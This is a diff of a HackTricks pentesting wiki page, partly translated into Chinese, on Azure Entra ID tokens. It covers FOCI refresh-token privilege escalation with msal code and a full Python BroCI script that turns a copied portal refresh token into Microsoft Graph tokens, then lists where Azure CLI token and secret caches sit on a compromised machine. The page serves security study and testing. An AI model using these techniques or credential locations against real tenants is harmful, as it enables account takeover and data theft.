mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-basic-informatio
This commit is contained in:
@@ -1,100 +1,100 @@
|
||||
# Az - 令牌与公共应用程序
|
||||
# Az - Tokens & Public Applications
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
## Basic Information
|
||||
|
||||
Entra ID 是 Microsoft 的云端身份与访问管理 (IAM) 平台,作为 Microsoft 365 和 Azure Resource Manager 等服务的基础身份验证和授权系统。Azure AD 实现了 OAuth 2.0 授权框架和 OpenID Connect (OIDC) 身份验证协议来管理对资源的访问。
|
||||
Entra ID 是微软的基于云的身份和访问管理 (IAM) 平台,作为 Microsoft 365 和 Azure Resource Manager 等服务的基础身份验证与授权系统。Azure AD 实现了 OAuth 2.0 授权框架和 OpenID Connect (OIDC) 身份验证协议来管理对资源的访问。
|
||||
|
||||
### OAuth
|
||||
|
||||
**OAuth 2.0 的关键参与者:**
|
||||
|
||||
1. **Resource Server (RS):** 保护资源所有者拥有的资源。
|
||||
2. **Resource Owner (RO):** 通常是拥有受保护资源的终端用户。
|
||||
3. **Client Application (CA):** 代表资源所有者请求访问资源的应用。
|
||||
4. **Authorization Server (AS):** 在认证并授权客户端应用后向其颁发 access tokens。
|
||||
1. **Resource Server (RS):** 保护资源所有者拥有的资源。
|
||||
2. **Resource Owner (RO):** 通常是拥有受保护资源的终端用户。
|
||||
3. **Client Application (CA):** 代表资源所有者请求访问资源的应用程序。
|
||||
4. **Authorization Server (AS):** 在对 client application 进行身份验证和授权后向其颁发 access tokens。
|
||||
|
||||
**Scopes 与 同意:**
|
||||
**Scopes 与 Consent:**
|
||||
|
||||
- **Scopes:** 在资源服务器上定义的细粒度权限,用于指定访问级别。
|
||||
- **Consent:** 资源所有者授予客户端应用以特定 scopes 访问资源的过程。
|
||||
- **Scopes:** 在 resource server 上定义的细粒度权限,指定访问级别。
|
||||
- **Consent:** 资源所有者授予 client application 访问具有特定 scopes 的资源的过程。
|
||||
|
||||
**Microsoft 365 集成:**
|
||||
|
||||
- Microsoft 365 使用 Azure AD 作为 IAM,并由多个 “first-party” OAuth 应用组成。
|
||||
- Microsoft 365 使用 Azure AD 进行 IAM,并由多个 “first-party” OAuth 应用组成。
|
||||
- 这些应用深度集成,通常具有相互依赖的服务关系。
|
||||
- 为简化用户体验并维持功能,Microsoft 会对这些 first-party 应用授予“implied consent”或“pre-consent”。
|
||||
- **Implied Consent:** 某些应用会被自动**授予对特定 scopes 的访问权限,而无需明确的用户或管理员批准**。
|
||||
- 这些预先同意的 scopes 通常对用户和管理员都隐藏,使其在标准管理界面中不易被看到。
|
||||
- 为简化用户体验并保持功能性,Microsoft 会对这些 first-party 应用授予 “implied consent” 或 “pre-consent”。
|
||||
- **Implied Consent:** 某些应用会被自动 **granted access to specific scopes without explicit user or administrator approva**l。
|
||||
- 这些预先同意的 scopes 通常对用户和管理员可见性较低,在标准管理界面中不易察觉。
|
||||
|
||||
**客户端应用类型:**
|
||||
**Client Application 类型:**
|
||||
|
||||
1. **Confidential Clients:**
|
||||
- 拥有自己的凭据(例如密码或证书)。
|
||||
- 可以**安全地对授权服务器进行自身认证**。
|
||||
- 能够**安全地向 authorization server 进行自我身份验证**。
|
||||
2. **Public Clients:**
|
||||
- 没有唯一的凭据。
|
||||
- 无法向授权服务器进行安全认证。
|
||||
- **安全含义:** 当请求 tokens 时,攻击者可以冒充 public client 应用,因为授权服务器无法验证该应用的合法性。
|
||||
- 没有唯一凭据。
|
||||
- 无法安全地向 authorization server 进行身份验证。
|
||||
- **安全含义:** 攻击者在请求 tokens 时可以冒充 public client application,因为 authorization server 无法验证该应用的合法性。
|
||||
|
||||
## 身份验证令牌
|
||||
## Authentication Tokens
|
||||
|
||||
OIDC 中使用的**三种令牌**:
|
||||
在 OIDC 中使用三种类型的 tokens:
|
||||
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 客户端向资源服务器出示此 token 以**访问资源**。它只能用于特定的用户、客户端和资源组合,并且在过期之前**无法被撤销**——默认有效期为 1 小时。
|
||||
- **ID Tokens:** 客户端从授权服务器接收的**token**。它包含关于用户的基本信息。它**绑定到特定的用户与客户端组合**。
|
||||
- **Refresh Tokens:** 与 access token 一起提供给客户端。用于**获取新的 access 和 ID tokens**。它绑定到特定的用户与客户端组合并且可以被撤销。默认过期为**90 天**(对于不活跃的 refresh tokens),并且**活动 token 默认不失效**(通过 refresh token 可以获取新的 refresh tokens)。
|
||||
- 一个 refresh token 应该绑定到一个 **`aud`**、一些 **scopes** 和一个 **tenant**,并且它应只能为该 aud、这些 scopes(且不能超出)和该 tenant 生成 access tokens。然而,**FOCI applications tokens** 并不遵循该约束。
|
||||
- refresh token 是加密的,只有 Microsoft 能解密它。
|
||||
- 获取新的 refresh token 并不会撤销之前的 refresh token。
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** client 向 resource server 提交此 token 以**访问资源**。它只能用于特定的 user、client 和 resource 组合,并且在到期前**无法被撤销**——默认为 1 小时。
|
||||
- **ID Tokens:** client 从 authorization server 收到的 **token**。它包含有关用户的基本信息。它**绑定到特定的 user 和 client 组合**。
|
||||
- **Refresh Tokens:** 与 access token 一起提供给 client。用于**获取新的 access 和 ID tokens**。它绑定到特定的 user 和 client 组合并且可以被撤销。默认过期为**90 天**(对非活动的 refresh tokens),而**活动 token 没有过期**(可以通过 refresh token 获取新的 refresh tokens)。
|
||||
- refresh token 应该绑定到一个 **`aud`**、一些 **scopes**,以及一个 **tenant**,并且它应该只能为该 aud、这些 scopes(且不能更多)和 tenant 生成 access tokens。然而,对于 **FOCI applications tokens** 情况并非如此。
|
||||
- refresh token 是加密的,只有 Microsoft 能够解密它。
|
||||
- 获取新的 refresh token 不会撤销先前的 refresh token。
|
||||
|
||||
> [!WARNING]
|
||||
> 有关 **conditional access** 的信息**存储**在 **JWT** 内。因此,如果你从一个**被允许的 IP 地址**请求了该**token**,该**IP** 会被**存储**在 token 中,然后你可以从一个**未被允许的 IP**使用该 token 来访问资源。
|
||||
> 关于 **conditional access** 的信息是**存储**在 **JWT** 内的。因此,如果你从一个 **allowed IP address** 请求 **token**,该 **IP** 会被**存储**在 token 中,然后你可以从 **non-allowed IP** 使用该 token 来访问资源。
|
||||
|
||||
### Access Tokens "aud"
|
||||
|
||||
"aud" 字段中指示的值是用于执行登录的**resource server**(即应用)。
|
||||
"aud" 字段指示用于执行登录的 **resource server**(即应用)。
|
||||
|
||||
命令 `az account get-access-token --resource-type [...]` 支持以下类型,每种类型都会在生成的 access token 中添加特定的 "aud":
|
||||
命令 `az account get-access-token --resource-type [...]` 支持以下类型,每种类型会在生成的 access token 中添加特定的 "aud":
|
||||
|
||||
> [!CAUTION]
|
||||
> 注意,以下仅是 `az account get-access-token` 支持的部分 API,但并不止这些。
|
||||
> 请注意,下列仅为 `az account get-access-token` 支持的 API,但实际还有更多。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>aud 示例</summary>
|
||||
<summary>aud examples</summary>
|
||||
|
||||
- **aad-graph (Azure Active Directory Graph API)**:用于访问遗留的 Azure AD Graph API(已弃用),允许应用读取和写入 Azure Active Directory (Azure AD) 中的目录数据。
|
||||
- **aad-graph (Azure Active Directory Graph API)**: 用于访问已弃用的 legacy Azure AD Graph API,允许应用读取和写入 Azure Active Directory (Azure AD) 中的目录数据。
|
||||
- `https://graph.windows.net/`
|
||||
|
||||
* **arm (Azure Resource Manager)**:用于通过 Azure Resource Manager API 管理 Azure 资源,包括创建、更新和删除虚拟机、存储帐户等资源。
|
||||
* **arm (Azure Resource Manager)**: 用于通过 Azure Resource Manager API 管理 Azure 资源。包括创建、更新和删除诸如虚拟机、存储帐户等资源的操作。
|
||||
- `https://management.core.windows.net/ or https://management.azure.com/`
|
||||
|
||||
- **batch (Azure Batch Services)**:用于访问 Azure Batch,该服务支持在云中高效运行大规模并行和高性能计算应用。
|
||||
- **batch (Azure Batch Services)**: 用于访问 Azure Batch,这是一项在云中高效支持大规模并行和高性能计算应用的服务。
|
||||
- `https://batch.core.windows.net/`
|
||||
|
||||
* **data-lake (Azure Data Lake Storage)**:用于与 Azure Data Lake Storage Gen1 交互,这是一个可扩展的数据存储与分析服务。
|
||||
* **data-lake (Azure Data Lake Storage)**: 用于与 Azure Data Lake Storage Gen1 交互,这是一项可扩展的数据存储和分析服务。
|
||||
- `https://datalake.azure.net/`
|
||||
|
||||
- **media (Azure Media Services)**:用于访问 Azure Media Services,为音视频内容提供云端的媒体处理和交付服务。
|
||||
- **media (Azure Media Services)**: 用于访问 Azure Media Services,该服务为视频和音频内容提供基于云的媒体处理和交付服务。
|
||||
- `https://rest.media.azure.net`
|
||||
|
||||
* **ms-graph (Microsoft Graph API)**:用于访问 Microsoft Graph API,这是 Microsoft 365 服务数据的统一端点。它允许你访问来自 Azure AD、Office 365、企业移动性及安全服务等的数据信息。
|
||||
* **ms-graph (Microsoft Graph API)**: 用于访问 Microsoft Graph API —— Microsoft 365 服务数据的统一端点。它允许访问来自 Azure AD、Office 365、Enterprise Mobility 和 Security services 的数据和见解。
|
||||
- `https://graph.microsoft.com`
|
||||
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**:用于访问 Azure 的开源关系数据库服务,如 MySQL、PostgreSQL 和 MariaDB。
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: 用于访问 Azure 针对开源关系数据库引擎(如 MySQL、PostgreSQL 和 MariaDB)的数据库服务。
|
||||
- `https://ossrdbms-aad.database.windows.net`
|
||||
|
||||
</details>
|
||||
|
||||
### Access Tokens Scopes "scp"
|
||||
|
||||
access token 的 scope 存储在 access token JWT 的 scp 键中。这些 scopes 定义了 access token 可以访问的内容。
|
||||
access token 的 scope 存储在 access token JWT 内的 scp 键中。这些 scopes 定义了 access token 可以访问的内容。
|
||||
|
||||
如果一个 JWT 被允许联系某个特定 API,但**没有执行所请求操作的 scope**,那么该 JWT **将无法执行该操作**。
|
||||
如果某个 JWT 被允许访问特定 API,但**没有执行所请求操作的 scope**,那么它**无法使用该 JWT 执行该操作**。
|
||||
|
||||
### 获取 refresh & access token 示例
|
||||
### Get refresh & access token example
|
||||
```python
|
||||
# Code example from https://github.com/secureworks/family-of-client-ids-research
|
||||
import msal
|
||||
@@ -144,32 +144,33 @@ scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
```
|
||||
### Other access token fields
|
||||
### 其他访问令牌字段
|
||||
|
||||
- **appid**: 用来生成 token 的 Application ID
|
||||
- **appid**: 用于生成令牌的应用程序 ID
|
||||
- **appidacr**: Application Authentication Context Class Reference,指示客户端如何被认证;对于 public client 值为 0,若使用 client secret 则值为 1
|
||||
- **acr**: Authentication Context Class Reference 声明,当终端用户的认证未满足 ISO/IEC 29115 要求时为 "0"。
|
||||
- **amr**: Authentication method,指示 token 的认证方式。值为 “pwd” 表示使用了密码。
|
||||
- **acr**: Authentication Context Class Reference 声明为 "0" 表示终端用户认证未满足 ISO/IEC 29115 的要求。
|
||||
- **amr**: Authentication method 指示令牌的认证方式。值为 “pwd” 表示使用了密码。
|
||||
- **groups**: 指示主体所属的组。
|
||||
- **iss**: 指示生成该 token 的 security token service (STS)。例如 https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/(该 uuid 为 tenant ID)
|
||||
- **oid**: 主体的 object ID
|
||||
- **tid**: Tenant ID
|
||||
- **iat, nbf, exp**: Issued at(签发时间),Not before(不可在此时间之前使用,通常与 iat 相同),Expiration time(过期时间)。
|
||||
- **iss**: 发行者,标识生成令牌的安全令牌服务 (STS)。例如 https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/(uuid 为租户 ID)
|
||||
- **oid**: 主体的对象 ID
|
||||
- **tid**: 租户 ID
|
||||
- **iat, nbf, exp**: iat 为签发时间(何时签发),nbf 为生效时间(在此时间之前不可使用,通常与 iat 相同),exp 为过期时间。
|
||||
|
||||
|
||||
## FOCI Tokens Privilege Escalation
|
||||
## FOCI Tokens 权限提升
|
||||
|
||||
前文提到 refresh tokens 应该与其生成时的 **scopes**、生成时的 **application** 和 **tenant** 绑定。如果这些边界中的任何一个被破坏,就可能发生权限提升 —— 可以生成对用户有访问权限的其他资源和 tenant 的 access tokens,且可能比最初预期拥有更多的 scopes。
|
||||
之前提到 refresh tokens 应该绑定到生成它们时的 **scopes**、生成它们的 **application** 和 **tenant**。如果这些边界中的任意一项被打破,就可能发生权限提升,因为可以生成针对用户可访问的其他资源和租户且拥有比原本更多 scopes 的 access tokens。
|
||||
|
||||
此外,在 [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)(Microsoft Entra accounts、Microsoft personal accounts,以及像 Facebook 和 Google 这样的 social accounts)中,**所有 refresh tokens 都可能发生这种情况**,因为如 [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) 所述:“Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them.”
|
||||
此外,**在 [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) 中所有的 refresh tokens 都有这种可能性**(Microsoft Entra accounts、Microsoft personal accounts,以及像 Facebook 和 Google 这样的 social accounts),正如 [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) 所述:
|
||||
"刷新令牌绑定到用户和客户端的组合,但 **不绑定到资源或租户**。客户端可以使用刷新令牌来获取在其有权限的任何资源与租户组合上的访问令牌。刷新令牌是加密的,只有 Microsoft identity platform 可以读取它们。"
|
||||
|
||||
另外,注意 FOCI applications 是 public applications,所以**不需要 secret**即可向服务器进行认证。
|
||||
另外,注意 FOCI applications 是 public applications,因此 **无需 secret** 即可向服务器进行身份验证。
|
||||
|
||||
在 [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) 中报告的已知 FOCI clients 可在 [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) 找到。
|
||||
已知的 FOCI 客户端在 [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) 中有报告,可在 [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) 查看。
|
||||
|
||||
### Get different scope
|
||||
### 获取不同作用域
|
||||
|
||||
延续前面的示例代码,下面这段代码请求了一个用于不同 scope 的新 token:
|
||||
根据之前的示例代码,下面的代码请求了一个针对不同作用域(scope)的新令牌:
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
azure_cli_bearer_tokens_for_outlook_api = (
|
||||
@@ -186,7 +187,7 @@ scopes=[
|
||||
)
|
||||
pprint(azure_cli_bearer_tokens_for_outlook_api)
|
||||
```
|
||||
### 获取不同的 client 和 scopes
|
||||
### 获取不同的客户端和权限范围
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
|
||||
@@ -202,30 +203,361 @@ scopes=["https://graph.microsoft.com/.default"],
|
||||
# How is this possible?
|
||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||
```
|
||||
## 在哪里可以找到 tokens
|
||||
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
|
||||
|
||||
从攻击者的角度,当受害者的 PC 被攻破时,了解在哪里能够找到 access 和 refresh tokens 非常有价值:
|
||||
A BroCI refresh tokens is a brokered token exchange pattern where an existing refresh token is used with extra broker parameters to request tokens as another trusted first-party app.
|
||||
|
||||
- 位于 **`<HOME>/.Azure`**
|
||||
- **`azureProfile.json`** 包含过去登录用户的信息
|
||||
These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
|
||||
|
||||
### Goal and purpose
|
||||
|
||||
BroCI 的目标是重用来自支持 broker 的应用链的有效用户会话,并为另一个受信任的 app/resource 配对请求令牌。因此可以从原始令牌实现“escalate privileges”。
|
||||
|
||||
从攻击性角度看,这很重要,因为:
|
||||
|
||||
- 它可以解锁标准 refresh 交换无法访问的已预先同意的第一方应用路径。
|
||||
- 它可以以具有广泛委派权限的应用身份返回针对高价值 API(例如 Microsoft Graph)的 access tokens。
|
||||
- 它将认证后基于令牌的枢转机会扩展到超过经典的 FOCI client switching 场景。
|
||||
|
||||
在 NAA/BroCI 刷新令牌中发生变化的不是可见的令牌格式,而是 Microsoft 在 brokered 刷新操作中验证的 **issuance context** 和与 broker 相关的元数据。
|
||||
|
||||
NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange.
|
||||
|
||||
- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations.
|
||||
- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`).
|
||||
- Microsoft validates whether the presented refresh token was minted in a matching brokered context.
|
||||
- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
|
||||
- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code.
|
||||
- You need a refresh token already issued by a compatible brokered flow.
|
||||
|
||||
Check the web **<https://entrascopes.com/>** to find BroCI configured apps an the trust relationships they have.
|
||||
|
||||
|
||||
### Mental model
|
||||
|
||||
Think of BroCI as:
|
||||
|
||||
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
|
||||
|
||||
If any part of that broker chain does not match, the exchange fails.
|
||||
|
||||
### Where to find a BroCI-valid refresh token
|
||||
|
||||
One practical way is browser portal traffic collection:
|
||||
|
||||
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
|
||||
2. Open DevTools -> Network.
|
||||
3. Filter for:
|
||||
- `oauth2/v2.0/token`
|
||||
- `management.core.windows.net`
|
||||
4. Identify the brokered token response and copy `refresh_token`.
|
||||
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
|
||||
|
||||
### Common errors
|
||||
|
||||
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
|
||||
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
|
||||
|
||||
<details>
|
||||
<summary>Python BroCI 刷新辅助工具 (broci_auth.py)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Python implementation of EntraTokenAid Broci refresh flow.
|
||||
|
||||
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
|
||||
- brk_client_id
|
||||
- redirect_uri
|
||||
- Origin header
|
||||
|
||||
Usage:
|
||||
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
|
||||
|
||||
How to obtain a Broci-valid refresh token (authorized testing only):
|
||||
1) Open https://entra.microsoft.com and sign in.
|
||||
2) Open browser DevTools -> Network.
|
||||
3) Filter requests for:
|
||||
- "oauth2/v2.0/token"
|
||||
- "management.core.windows.net"
|
||||
4) Locate the portal broker token response and copy the "refresh_token" value
|
||||
(the flow should be tied to https://management.core.windows.net//).
|
||||
5) Use that token with this script and Broci params:
|
||||
|
||||
python3 broci_auth.py \
|
||||
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
|
||||
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
|
||||
--tenant "organizations" \
|
||||
--api "graph.microsoft.com" \
|
||||
--scope ".default offline_access" \
|
||||
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
|
||||
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
|
||||
--origin "https://entra.microsoft.com" \
|
||||
--token-out
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import datetime as dt
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from typing import Any
|
||||
|
||||
|
||||
GUID_RE = re.compile(
|
||||
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
|
||||
)
|
||||
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
|
||||
|
||||
|
||||
def resolve_api_scope_url(api: str, scope: str) -> str:
|
||||
"""
|
||||
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
|
||||
"""
|
||||
if GUID_RE.match(api):
|
||||
base_resource = api
|
||||
elif api.lower().startswith("urn:") or "://" in api:
|
||||
base_resource = api
|
||||
else:
|
||||
base_resource = f"https://{api}"
|
||||
|
||||
base_resource = base_resource.rstrip("/")
|
||||
|
||||
resolved: list[str] = []
|
||||
for token in scope.split():
|
||||
if not token.strip():
|
||||
continue
|
||||
if "://" in token:
|
||||
resolved.append(token)
|
||||
elif token.lower().startswith("urn:"):
|
||||
resolved.append(token)
|
||||
elif token in OIDC_SCOPES:
|
||||
resolved.append(token)
|
||||
elif GUID_RE.match(token):
|
||||
resolved.append(f"{token}/.default")
|
||||
else:
|
||||
normalized = ".default" if token in {"default", ".default"} else token
|
||||
resolved.append(f"{base_resource}/{normalized}")
|
||||
|
||||
return " ".join(resolved)
|
||||
|
||||
|
||||
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
|
||||
parts = jwt_token.split(".")
|
||||
if len(parts) != 3:
|
||||
raise ValueError("Invalid JWT format.")
|
||||
payload = parts[1]
|
||||
padding = "=" * ((4 - len(payload) % 4) % 4)
|
||||
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
|
||||
return json.loads(decoded.decode("utf-8"))
|
||||
|
||||
|
||||
def refresh_broci_token(
|
||||
refresh_token: str,
|
||||
client_id: str,
|
||||
scope: str,
|
||||
api: str,
|
||||
tenant: str,
|
||||
user_agent: str,
|
||||
origin: str | None,
|
||||
brk_client_id: str | None,
|
||||
redirect_uri: str | None,
|
||||
disable_cae: bool,
|
||||
) -> dict[str, Any]:
|
||||
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
|
||||
|
||||
headers = {
|
||||
"User-Agent": user_agent,
|
||||
"X-Client-Sku": "MSAL.Python",
|
||||
"X-Client-Ver": "1.31.0",
|
||||
"X-Client-Os": "win32",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
if origin:
|
||||
headers["Origin"] = origin
|
||||
|
||||
body: dict[str, str] = {
|
||||
"grant_type": "refresh_token",
|
||||
"client_id": client_id,
|
||||
"scope": api_scope_url,
|
||||
"refresh_token": refresh_token,
|
||||
}
|
||||
if not disable_cae:
|
||||
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
|
||||
if brk_client_id:
|
||||
body["brk_client_id"] = brk_client_id
|
||||
if redirect_uri:
|
||||
body["redirect_uri"] = redirect_uri
|
||||
|
||||
data = urllib.parse.urlencode(body).encode("utf-8")
|
||||
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
|
||||
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
|
||||
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp:
|
||||
raw = resp.read().decode("utf-8")
|
||||
except urllib.error.HTTPError as e:
|
||||
err_raw = e.read().decode("utf-8", errors="replace")
|
||||
try:
|
||||
err_json = json.loads(err_raw)
|
||||
short = err_json.get("error", "unknown_error")
|
||||
desc = err_json.get("error_description", err_raw)
|
||||
raise RuntimeError(f"{short}: {desc}") from None
|
||||
except json.JSONDecodeError:
|
||||
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
|
||||
|
||||
tokens = json.loads(raw)
|
||||
if "access_token" not in tokens:
|
||||
raise RuntimeError("Token endpoint response did not include access_token.")
|
||||
return tokens
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
|
||||
)
|
||||
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
|
||||
parser.add_argument(
|
||||
"--client-id",
|
||||
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
|
||||
help="Client ID (default: Azure CLI).",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scope",
|
||||
default=".default offline_access",
|
||||
help="Scopes (default: '.default offline_access').",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
|
||||
)
|
||||
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
|
||||
parser.add_argument(
|
||||
"--user-agent",
|
||||
default="python-requests/2.32.3",
|
||||
help="User-Agent sent to token endpoint.",
|
||||
)
|
||||
parser.add_argument("--origin", default=None, help="Optional Origin header.")
|
||||
parser.add_argument(
|
||||
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-cae",
|
||||
action="store_true",
|
||||
help="Disable CAE claims in token request.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--token-out",
|
||||
action="store_true",
|
||||
help="Print access/refresh tokens in output.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-jwt-parsing",
|
||||
action="store_true",
|
||||
help="Do not parse JWT claims.",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Sending request to token endpoint")
|
||||
try:
|
||||
tokens = refresh_broci_token(
|
||||
refresh_token=args.refresh_token,
|
||||
client_id=args.client_id,
|
||||
scope=args.scope,
|
||||
api=args.api,
|
||||
tenant=args.tenant,
|
||||
user_agent=args.user_agent,
|
||||
origin=args.origin,
|
||||
brk_client_id=args.brk_client_id,
|
||||
redirect_uri=args.redirect_uri,
|
||||
disable_cae=args.disable_cae,
|
||||
)
|
||||
except Exception as e:
|
||||
print(f"[!] Error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
expires_in = int(tokens.get("expires_in", 0))
|
||||
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
|
||||
tokens["expiration_time"] = expiration_time
|
||||
|
||||
print(
|
||||
"[+] Got an access token and a refresh token"
|
||||
if tokens.get("refresh_token")
|
||||
else "[+] Got an access token (no refresh token requested)"
|
||||
)
|
||||
|
||||
if not args.disable_jwt_parsing:
|
||||
try:
|
||||
jwt_payload = parse_jwt_payload(tokens["access_token"])
|
||||
audience = jwt_payload.get("aud", "")
|
||||
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
|
||||
tokens["scp"] = jwt_payload.get("scp")
|
||||
tokens["tenant"] = jwt_payload.get("tid")
|
||||
tokens["user"] = jwt_payload.get("upn")
|
||||
tokens["client_app"] = jwt_payload.get("app_displayname")
|
||||
tokens["client_app_id"] = args.client_id
|
||||
tokens["auth_methods"] = jwt_payload.get("amr")
|
||||
tokens["ip"] = jwt_payload.get("ipaddr")
|
||||
tokens["audience"] = audience
|
||||
if isinstance(audience, str):
|
||||
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
|
||||
if "xms_cc" in jwt_payload:
|
||||
tokens["xms_cc"] = jwt_payload.get("xms_cc")
|
||||
except Exception as e:
|
||||
print(f"[!] JWT parse error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
else:
|
||||
print(f"[i] Expires at: {expiration_time}")
|
||||
|
||||
if args.token_out:
|
||||
print("\nAccess Token:")
|
||||
print(tokens.get("access_token", ""))
|
||||
if tokens.get("refresh_token"):
|
||||
print("\nRefresh Token:")
|
||||
print(tokens["refresh_token"])
|
||||
|
||||
print("\nToken object (JSON):")
|
||||
print(json.dumps(tokens, indent=2))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
```
|
||||
</details>
|
||||
|
||||
## 在哪里可以找到令牌
|
||||
|
||||
从攻击者的角度来看,当受害者的 PC 被入侵时,知道在哪里可以找到 access 和 refresh tokens 非常有价值:
|
||||
|
||||
- Inside **`<HOME>/.Azure`**
|
||||
- **`azureProfile.json`** 包含过去登录的用户信息
|
||||
- **`clouds.config contains`** 包含有关订阅的信息
|
||||
- **`service_principal_entries.json`** 包含应用凭证 (tenant id, clients and secret)。仅在 Linux & macOS
|
||||
- **`msal_token_cache.json`** 包含 access tokens 和 refresh tokens。仅在 Linux & macOS
|
||||
- **`service_principal_entries.bin`** 和 msal_token_cache.bin 在 Windows 上使用并受 DPAPI 加密
|
||||
- **`service_principal_entries.json`** 包含应用凭据 (tenant id, clients and secret)。仅在 Linux & macOS 上
|
||||
- **`msal_token_cache.json`** 包含 access tokens 和 refresh tokens。仅在 Linux & macOS 上
|
||||
- **`service_principal_entries.bin`** and msal_token_cache.bin 用于 Windows,并使用 DPAPI 加密
|
||||
- **`msal_http_cache.bin`** 是 HTTP 请求的缓存
|
||||
- 加载方式: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
|
||||
- **`AzureRmContext.json`** 包含使用 Az PowerShell 的历史登录信息(但不含凭证)
|
||||
